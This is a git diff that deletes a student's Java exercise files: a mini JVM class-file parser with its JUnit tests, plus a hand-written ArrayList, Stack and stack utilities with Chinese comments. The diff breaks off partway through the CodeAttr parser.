--- a/group17/102228177/work4_09/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ /dev/null
@@ -1,49 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.util.Arrays;
-
-import com.coderising.jvm.util.Util;
-
-public class ByteCodeIterator {
-	byte[] codes;
-	int pos = 0;
-	ByteCodeIterator(byte[] codes) {
-		this.codes = codes;
-	}
-	public byte[] getBytes(int len) {
-		if (pos + len >= codes.length) {
-			throw new ArrayIndexOutOfBoundsException();
-		}
-
-		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
-		pos += len;
-		return data;
-	}
-
-	public int nextU1toInt() {
-
-		return Util.byteToInt(new byte[] { codes[pos++] });
-	}
-
-	public int nextU2ToInt() {
-		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
-	}
-
-	public int nextU4ToInt() {
-		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
-	}
-
-	public String nextU4ToHexString() {
-		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
-	}
-
-	public String nextUxToHexString(int len) {
-		byte[] tmp = new byte[len];
-
-		for (int i = 0; i < len; i++) {
-			tmp[i] = codes[pos++];
-		}
-		return Util.byteToHexString(tmp).toLowerCase();
-
-	}
-}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/loader/ClassFileLoader.java b/group17/102228177/work4_09/src/com/coderising/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index 81264ceed7..0000000000
--- a/group17/102228177/work4_09/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,137 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.clz.ClassFile;
-
-
-
-
-
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<String>();
-	
-	public byte[] readBinaryCode(String className) {
-		
-		className = className.replace('.', File.separatorChar) +".class";
-		
-		for(String path : this.clzPaths){
-			
-			String clzFileName = path + File.separatorChar + className;
-			byte[] codes = loadClassFile(clzFileName);
-			if(codes != null){
-				return codes;
-			}			
-		}
-		
-		return null;
-		
-		
-		
-	}
-	
-	/*private byte[] loadClassFile(String clzFileName) {
-		
-		File f = new File(clzFileName);
-		
-		try {
-		
-			return IOUtils.toByteArray(new FileInputStream(f));
-			
-		} catch (IOException e) {			
-			e.printStackTrace();
-			return null;
-		}
-	}*/
-	
-	
-	
-	public void addClassPath(String path) {
-		if(this.clzPaths.contains(path)){
-			return;
-		}
-		
-		this.clzPaths.add(path);
-		
-	}
-	
-	
-	
-	/*public String getClassPath(){
-		return StringUtils.join(this.clzPaths,";");
-	}
-*/
-	public ClassFile loadClass(String className) {
-		byte[] codes = this.readBinaryCode(className);
-		ClassFileParser parser = new ClassFileParser();
-		return parser.parse(codes);
-		
-	}
-	
-	
-	
-	// ------------------------------backup------------------------
-    public String getClassPath(){
-		
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<this.clzPaths.size();i++){
-			buffer.append(this.clzPaths.get(i));
-			if(i<this.clzPaths.size()-1){
-				buffer.append(";");
-			}
-		}
-		return buffer.toString();
-	}
-	
-	private byte[] loadClassFile(String clzFileName) {
-		
-		BufferedInputStream bis = null;
-		
-		try {
-			
-			File f = new File(clzFileName);
-			
-						
-			bis = new BufferedInputStream(new FileInputStream(f));
-			
-			ByteArrayOutputStream bos = new ByteArrayOutputStream();
-			
-			
-			byte[] buffer = new byte[1024];
-			int length = -1;
-			
-			while((length = bis.read(buffer)) != -1){
-				bos.write(buffer, 0, length);				
-			}
-			
-			byte [] codes = bos.toByteArray();
-			
-			return codes;
-			
-		} catch(IOException e){
-			e.printStackTrace();
-			
-		} finally{
-			if(bis != null){
-				try {
-					bis.close();
-				} catch (IOException e) {					
-					e.printStackTrace();
-				}
-			}
-		}
-		return null;
-		
-	}
-
-
-	
-
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/loader/ClassFileParser.java b/group17/102228177/work4_09/src/com/coderising/jvm/loader/ClassFileParser.java
deleted file mode 100644
index 6935793a8e..0000000000
--- a/group17/102228177/work4_09/src/com/coderising/jvm/loader/ClassFileParser.java
+++ /dev/null
@@ -1,115 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.UnsupportedEncodingException;
-
-import com.coderising.jvm.clz.AccessFlag;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.NullConstantInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-
-public class ClassFileParser {
-
-	public ClassFile parse(byte[] codes) {
-		ClassFile classFile = new ClassFile();
-		ByteCodeIterator iter = new ByteCodeIterator(codes);
-		String magicNumber = iter.nextU4ToHexString();
-		if(!magicNumber.equals("cafebabe")){
-			return null;
-		}
-		classFile.setMinorVersion(iter.nextU2ToInt());
-		classFile.setMajorVersion(iter.nextU2ToInt());
-		
-		ConstantPool pool = parseConstantPool(iter);
-		classFile.setConstPool(pool);
-		
-		AccessFlag accessFlag = parseAccessFlag(iter);
-		classFile.setAccessFlag(accessFlag);
-		
-		ClassIndex classIndex = parseClassIndex(iter);
-		classFile.setClassIndex(classIndex);
-		return classFile;
-	}
-	
-	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-		int value = iter.nextU2ToInt();
-		AccessFlag accessFlag = new AccessFlag(value);
-		accessFlag.setFlagValue(value);
-		return accessFlag;
-	}
-
-	private ClassIndex parseClassIndex(ByteCodeIterator iter) {
-		int thisClassIndex = iter.nextU2ToInt();
-		int superClassIndex = iter.nextU2ToInt();
-		ClassIndex classIndex = new ClassIndex();
-		classIndex.setThisClassIndex(thisClassIndex);
-		classIndex.setSuperClassIndex(superClassIndex);
-		return classIndex;
-
-	}
-
-	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
-		int constantPoolCount = iter.nextU2ToInt();
-		ConstantPool pool = new ConstantPool();
-		pool.addConstantInfo(new NullConstantInfo());
-		for (int i = 0; i < constantPoolCount-1; i++) {
-			int tag = iter.nextU1toInt();
-			if(tag == 7){
-				int utf8Index = iter.nextU2ToInt();
-				ClassInfo clzInfo= new ClassInfo(pool);
-				clzInfo.setUtf8Index(utf8Index);
-				pool.addConstantInfo(clzInfo);
-			}else if(tag == 1){
-				int length = iter.nextU2ToInt();
-				byte data[] = iter.getBytes(length);
-				String value = null;
-				try {
-					value = new String(data,"UTF-8");
-				} catch (UnsupportedEncodingException e) {
-					e.printStackTrace();
-				}
-				UTF8Info utf8Info = new UTF8Info(pool);
-				utf8Info.setLength(length);
-				utf8Info.setValue(value);
-				pool.addConstantInfo(utf8Info);
-			}else if(tag == 12){
-				int NameIndex = iter.nextU2ToInt();
-				int TypeIndex = iter.nextU2ToInt();
-				NameAndTypeInfo nameAndType = new NameAndTypeInfo(pool);
-				nameAndType.setIndex1(NameIndex);
-				nameAndType.setIndex2(TypeIndex);
-				pool.addConstantInfo(nameAndType);
-			}else if(tag == 9){
-				int classInfoIndex = iter.nextU2ToInt();
-				int nameAndTypeIndex = iter.nextU2ToInt();
-				FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
-				fieldRefInfo.setClassInfoIndex(classInfoIndex);
-				fieldRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
-				pool.addConstantInfo(fieldRefInfo);
-			}else if(tag == 10){
-				int classInfoIndex = iter.nextU2ToInt();
-				int nameAndTypeIndex = iter.nextU2ToInt();
-				MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
-				methodRefInfo.setClassInfoIndex(classInfoIndex);
-				methodRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
-				pool.addConstantInfo(methodRefInfo);
-			}else if(tag == 8){
-				int stringIndex = iter.nextU2ToInt();
-				StringInfo stringInfo = new StringInfo(pool);
-				stringInfo.setIndex(stringIndex);
-				pool.addConstantInfo(stringInfo);
-			}else{
-				throw new RuntimeException("the constant pool tag" + tag + "has not been implemented yet");
-			}
-				
-		}
-		return pool;
-	}
-
-}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group17/102228177/work4_09/src/com/coderising/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index 4e0b8e1001..0000000000
--- a/group17/102228177/work4_09/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,203 +0,0 @@
-package com.coderising.jvm.test;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ClassFileLoader;
-
-
-
-
-
-public class ClassFileloaderTest {
-
-	
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	
-//	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-	static String path1 = "D:\\software\\taotao\\work4_09\\bin";
-	static String path2 = "C:\temp";
-	
-	static ClassFile clzFile = null;
-	static {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		clzFile = loader.loadClass(className);
-		clzFile.print();
-	}
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-   	private String byteToHexString(byte[] codes ){
-   		StringBuffer buffer = new StringBuffer();
-   		for(int i=0;i<codes.length;i++){
-   			byte b = codes[i];
-   			int value = b & 0xFF;
-   			String strHex = Integer.toHexString(value);
-   			if(strHex.length()< 2){
-   				strHex = "0" + strHex;
-   			}		
-   			buffer.append(strHex);
-   		}
-   		return buffer.toString();
-   	}
-    
-    /**
-     * ----------------------------------------------------------------------
-     */
-    
-    
-    @Test
-    public void testVersion(){    			
-		
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(51, clzFile.getMajorVersion());
-		
-    }
-    
-    @Test
-    public void testConstantPool(){
-    	
-
-		ConstantPool pool = clzFile.getConstantPool();
-		
-		Assert.assertEquals(53, pool.getSize());
-	
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-			Assert.assertEquals(2, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-		}
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-			Assert.assertEquals(4, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-		}
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-			Assert.assertEquals("name", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-			Assert.assertEquals("age", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-			Assert.assertEquals("I", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-			Assert.assertEquals("<init>", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-			Assert.assertEquals("Code", utf8Info.getValue());
-		}
-		
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-			Assert.assertEquals(3, methodRef.getClassInfoIndex());
-			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getIndex1());
-			Assert.assertEquals(14, nameAndType.getIndex2());
-		}
-		//抽查几个吧
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-			Assert.assertEquals(1, methodRef.getClassInfoIndex());
-			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-		}
-    }
-    @Test
-    public void testClassIndex(){
-    	
-    	ClassIndex clzIndex = clzFile.getClzIndex();
-    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-    	
-    	
-    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-    
-   
-
-}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/test/EmployeeV1.java b/group17/102228177/work4_09/src/com/coderising/jvm/test/EmployeeV1.java
deleted file mode 100644
index 12e3d7efdd..0000000000
--- a/group17/102228177/work4_09/src/com/coderising/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.test;
-
-public class EmployeeV1 {
-	
-	
-	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/util/Util.java b/group17/102228177/work4_09/src/com/coderising/jvm/util/Util.java
deleted file mode 100644
index 0c4cc8c57c..0000000000
--- a/group17/102228177/work4_09/src/com/coderising/jvm/util/Util.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.jvm.util;
-
-public class Util {
-	public static int byteToInt(byte[] codes){
-    	String s1 = byteToHexString(codes);
-    	return Integer.valueOf(s1, 16).intValue();
-    }
-    
-    
-    
-	public static String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-}
diff --git a/group17/102228177/work4_09/src/com/coding/basic/stack/ArrayList.java b/group17/102228177/work4_09/src/com/coding/basic/stack/ArrayList.java
deleted file mode 100644
index 320a747606..0000000000
--- a/group17/102228177/work4_09/src/com/coding/basic/stack/ArrayList.java
+++ /dev/null
@@ -1,150 +0,0 @@
-package com.coding.basic.stack;
-
-
-
-import java.util.ConcurrentModificationException;
-import java.util.NoSuchElementException;
-
-
-public class ArrayList implements List{
-	public static final int defLen = 10;
-	private Object[] elements;
-	private int size;
-	private int maxLen;
-	
-	public ArrayList(){
-		size = 0;
-		maxLen = defLen;
-		elements = new Object[defLen];
-	}
-	
-	/**
-	 * 在ArrayList末尾处追加元素
-	 * @param o 添加的元素
-	 */
-	public void add(Object o){
-		if(size >= maxLen){
-			grow();
-		}
-		elements[size] = o;
-		size++;
-	}
-	
-	/**
-	 * 数组扩容
-	 */
-	private void grow(){
-		maxLen = maxLen + (maxLen >> 1);
-		Object[] newArr = new Object[maxLen];
-		System.arraycopy(elements, 0, newArr, 0, size);
-		elements = newArr;
-	}
-	
-	/**
-	 * 在指定索引处添加元素
-	 * @param i 指定索引
-	 * @param o 添加元素
-	 */
-	public void add(int i,Object o){
-		//判断插入位置大于数组实际长度
-		if(i > size){
-			size = i;
-			if(size >= maxLen){//数组大小大于数组最大容量则需要扩容
-				grow();
-			}
-		}
-		//插入位置不大于数组实际长度时，将插入位置的元素向后移。
-		for (int j = size; j > i ; j++) {
-			elements[j] = elements[j-1];
-		}
-		elements[i] = o;
-		size++;
-	}
-	
-	/**
-	 * 获取传入索引的元素
-	 * @param index 索引
-	 * @return 返回传入索引的元素
-	 */
-	public Object get(int index){
-		//索引不在实际范围内
-		if(index < 0||index >= size){
-			throw new ArrayIndexOutOfBoundsException();
-		}
-		for (int i = 0; i < size; i++) {
-			return elements[index];
-		}
-		return null;
-	}
-	
-	/**
-	 * 删除指定索引元素并返回
-	 * @param index
-	 * @return 该索引处元素
-	 */
-	public Object remove(int index){
-		//索引不在实际范围内
-		if(index < 0||index >= size){
-			throw new ArrayIndexOutOfBoundsException();
-		}else{
-			for (int j = index; j < size-1; j++) {
-				elements[j]=elements[j+1];
-			}
-			size--;
-			return elements[index];
-		}
-	}
-	
-	/**
-	 * 获取大小
-	 * @return 
-	 */
-	public int size(){
-		return size;
-	}
-	
-	public Iterator iterator(){
-		return new ArrayListIterator();
-	}
-	
-	private class ArrayListIterator implements Iterator{
-		int cursor;
-		
-		@Override
-		public boolean hasNext() {
-			return cursor != size;
-		}
-
-		@Override
-		public Object next() {
-			int i = cursor;
-			if(i >= size){
-                throw new NoSuchElementException();
-			}
-			if (i >= elements.length){
-				throw new ConcurrentModificationException();
-			}
-			cursor = i+1;        
-			return elements[i];
-		}
-	}
-	
-	public static void main(String[] args) {
-		ArrayList list = new ArrayList();
-		list.add(0);
-		list.add(1);
-		list.add(2);
-		list.add(3);
-		list.add(4);
-		list.add(6, 6);
-		list.remove(3);
-		for (int i = 0; i < list.size(); i++) {
-			System.out.println(i+":"+list.get(i));
-		}
-		
-		Iterator it =  list.iterator();
-		while (it.hasNext()) {
-			System.out.println(it.next());
-		}
-	}
-}
diff --git a/group17/102228177/work4_09/src/com/coding/basic/stack/Iterator.java b/group17/102228177/work4_09/src/com/coding/basic/stack/Iterator.java
deleted file mode 100644
index f51a971a1c..0000000000
--- a/group17/102228177/work4_09/src/com/coding/basic/stack/Iterator.java
+++ /dev/null
@@ -1,8 +0,0 @@
-package com.coding.basic.stack;
-
-public interface Iterator {
-	
-	public boolean hasNext();
-	public Object next();
-
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_09/src/com/coding/basic/stack/List.java b/group17/102228177/work4_09/src/com/coding/basic/stack/List.java
deleted file mode 100644
index 2d2c693e0d..0000000000
--- a/group17/102228177/work4_09/src/com/coding/basic/stack/List.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.coding.basic.stack;
-
-public interface List {
-	
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_09/src/com/coding/basic/stack/Stack.java b/group17/102228177/work4_09/src/com/coding/basic/stack/Stack.java
deleted file mode 100644
index 42b6362e2f..0000000000
--- a/group17/102228177/work4_09/src/com/coding/basic/stack/Stack.java
+++ /dev/null
@@ -1,48 +0,0 @@
-package com.coding.basic.stack;
-
-import java.util.EmptyStackException;
-
-public class Stack {
-	private ArrayList elementData;
-	private int elementCount;
-	
-	public Stack() {
-		this.elementData = new ArrayList();
-		this.elementCount = 0;
-	}
-	public void push(Object o){
-		elementData.add(o);
-		elementCount++;
-	}
-	
-	public Object pop(){
-		Object object = elementData.remove(elementCount-1);
-		elementCount--;
-		return object;
-	}
-	
-	public Object peek(){
-		if(isEmpty()){
-			 throw new EmptyStackException();
-		}
-		return elementData.get(elementCount-1);
-	}
-	public boolean isEmpty(){
-		return elementCount==0;
-	}
-	public int size(){
-		return elementCount;
-	}
-	
-	@Override
-	public String toString() {
-		StringBuilder sb = new StringBuilder();
-		sb.append("[");
-		for (int i = 0; i < elementData.size(); i++) {
-			sb.append(elementData.get(i)).append(",");
-		}
-		sb = sb.deleteCharAt(sb.length()-1);
-		sb.append("]");
-		return sb.toString();
-	}
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_09/src/com/coding/basic/stack/StackUtil.java b/group17/102228177/work4_09/src/com/coding/basic/stack/StackUtil.java
deleted file mode 100644
index 5b8019e2b7..0000000000
--- a/group17/102228177/work4_09/src/com/coding/basic/stack/StackUtil.java
+++ /dev/null
@@ -1,112 +0,0 @@
-package com.coding.basic.stack;
-
-public class StackUtil {
-	
-	
-	/**
-	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 */
-	public static void reverse(Stack s) {
-		if(s.isEmpty()){
-			return ;
-		}
-		int temp1 = (int) s.pop();
-		reverse(s);
-		if(s.isEmpty()){
-			s.push(temp1);
-			return ;
-		}
-		int temp2 = (int) s.pop();
-		reverse(s);
-		s.push(temp1);
-		reverse(s);
-		s.push(temp2);
-	}
-	
-
-	/**
-	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * 
-	 * @param o
-	 */
-	public static void remove(Stack s,Object o) {
-		if(s.isEmpty()){
-			return ;
-		}
-		Stack stack = new Stack();
-		while(!s.isEmpty()){
-			Object pop = s.pop();
-			if(!pop.equals(o)){
-				stack.push(pop);
-			}
-		}
-		while(!stack.isEmpty()){
-			s.push(stack.pop());
-		}
-	}
-
-	/**
-	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * @param len
-	 * @return
-	 */
-	public static Object[] getTop(Stack s,int len) {
-		int i = 0;
-		Stack stack = new Stack();
-		Object[] objects = new Object[len];
-		while(i < len){
-			Object o = s.pop();
-			stack.push(o);
-			objects[i] = o;
-			i++;
-		}
-		while(!stack.isEmpty()){
-			s.push(stack.pop());
-		}
-		return objects;
-	}
-	/**
-	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
-	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
-	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
-	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
-	 * @param s
-	 * @return
-	 */
-	public static boolean isValidPairs(String s){
-		Stack stack = new Stack();
-		for (int i = 0; i < s.length(); i++) {
-			char c = s.charAt(i);
-			switch (c) {
-			case '(':
-			case '[':
-			case '{':
-				stack.push(c);
-				break;
-			case ')':
-				 if((char)stack.pop()!='('){
-			        return false;
-			      }
-			      break;
-			case ']':
-				 if((char)stack.pop()!='['){
-			        return false;
-			      }
-			      break;
-			case '}':
-				 if((char)stack.pop()!='{'){
-			        return false;
-			      }
-			      break;
-			}
-		}
-		if(stack.isEmpty()){
-			return true;
-		}
-		return false;
-	}
-	
-	
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_09/src/com/coding/basic/stack/StackUtilTest.java b/group17/102228177/work4_09/src/com/coding/basic/stack/StackUtilTest.java
deleted file mode 100644
index 722dd25846..0000000000
--- a/group17/102228177/work4_09/src/com/coding/basic/stack/StackUtilTest.java
+++ /dev/null
@@ -1,44 +0,0 @@
-package com.coding.basic.stack;
-
-import static org.junit.Assert.*;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class StackUtilTest {
-	Stack stack ;
-	{
-		stack = new Stack();
-		stack.push(1);
-		stack.push(2);
-		stack.push(3);
-		stack.push(4);
-		stack.push(5);
-	}
-	@Before
-	public void setUp() throws Exception {
-		
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testReverse() {
-		StackUtil.reverse(stack);
-		Assert.assertEquals("[5,4,3,2,1]", stack.toString());
-	}
-	@Test
-	public void testRemove() {
-		StackUtil.remove(stack, 3);
-		Assert.assertEquals("[1,2,4,5]", stack.toString());
-	}
-	@Test
-	public void testGetTop(){
-		Assert.assertEquals(new Object[]{5,4}, StackUtil.getTop(stack, 2));
-		Assert.assertEquals("[1,2,3,4,5]", stack.toString());
-	}
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/attr/AttributeInfo.java b/group17/102228177/work4_16/src/com/coderising/jvm/attr/AttributeInfo.java
deleted file mode 100644
index 88f60c77f6..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/attr/AttributeInfo.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.attr;
-
-public abstract class AttributeInfo {
-	public static final String CODE = "Code";
-	public static final String CONST_VALUE = "ConstantValue";
-	public static final String EXCEPTIONS = "Exceptions";
-	public static final String LINE_NUM_TABLE = "LineNumberTable";
-	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
-	public static final String STACK_MAP_TABLE = "StackMapTable";
-	int attrNameIndex;				
-	int attrLen ;
-	public AttributeInfo(int attrNameIndex, int attrLen) {
-		
-		this.attrNameIndex = attrNameIndex;
-		this.attrLen = attrLen;
-	}
-	
-	
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/attr/CodeAttr.java b/group17/102228177/work4_16/src/com/coderising/jvm/attr/CodeAttr.java
deleted file mode 100644
index a334a13d81..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/attr/CodeAttr.java
+++ /dev/null
@@ -1,116 +0,0 @@
-package com.coderising.jvm.attr;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class CodeAttr extends AttributeInfo {
-	private int maxStack ;
-	private int maxLocals ;
-	private int codeLen ;
-	private String code;
-	public String getCode() {
-		return code;
-	}
-
-	//private ByteCodeCommand[] cmds ;
-	//public ByteCodeCommand[] getCmds() {
-	//	return cmds;
-	//}
-	private LineNumberTable lineNumTable;
-	private LocalVariableTable localVarTable;
-	private StackMapTable stackMapTable;
-	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
-		super(attrNameIndex, attrLen);
-		this.maxStack = maxStack;
-		this.maxLocals = maxLocals;
-		this.codeLen = codeLen;
-		this.code = code;
-		//this.cmds = cmds;
-	}
-
-	public void setLineNumberTable(LineNumberTable t) {
-		this.lineNumTable = t;
-	}
-
-	public void setLocalVariableTable(LocalVariableTable t) {
-		this.localVarTable = t;		
-	}
-	
-	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
-		
-		int attrNameIndex = iter.nextU2ToInt();
-		int attrLen = iter.nextU4ToInt();
-		int maxStack = iter.nextU2ToInt();
-		int maxLocals = iter.nextU2ToInt();
-		int codeLen = iter.nextU4ToInt();
-		
-		String code = iter.nextUxToHexString(codeLen);
-		
-		System.out.println(code);
-		
-		//ByteCodeCommand[] cmds = ByteCodeCommand.parse(clzFile,code);
-		
-		CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen, maxStack,maxLocals,codeLen,code);
-		
-		int exceptionTableLen = iter.nextU2ToInt();
-		//TODO 处理exception
-		if(exceptionTableLen>0){
-			String exTable = iter.nextUxToHexString(exceptionTableLen);
-			System.out.println("Encountered exception table , just ignore it :" + exTable);
-			
-		}
-		
-		
-		int subAttrCount = iter.nextU2ToInt();
-		
-		for(int x=1; x<=subAttrCount; x++){
-			int subAttrIndex = iter.nextU2ToInt();
-			String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
-		
-			//已经向前移动了U2, 现在退回去。
-			iter.back(2);
-			//line item table
-			if(AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)){
-				
-				LineNumberTable t = LineNumberTable.parse(iter);
-				codeAttr.setLineNumberTable(t);
-			}
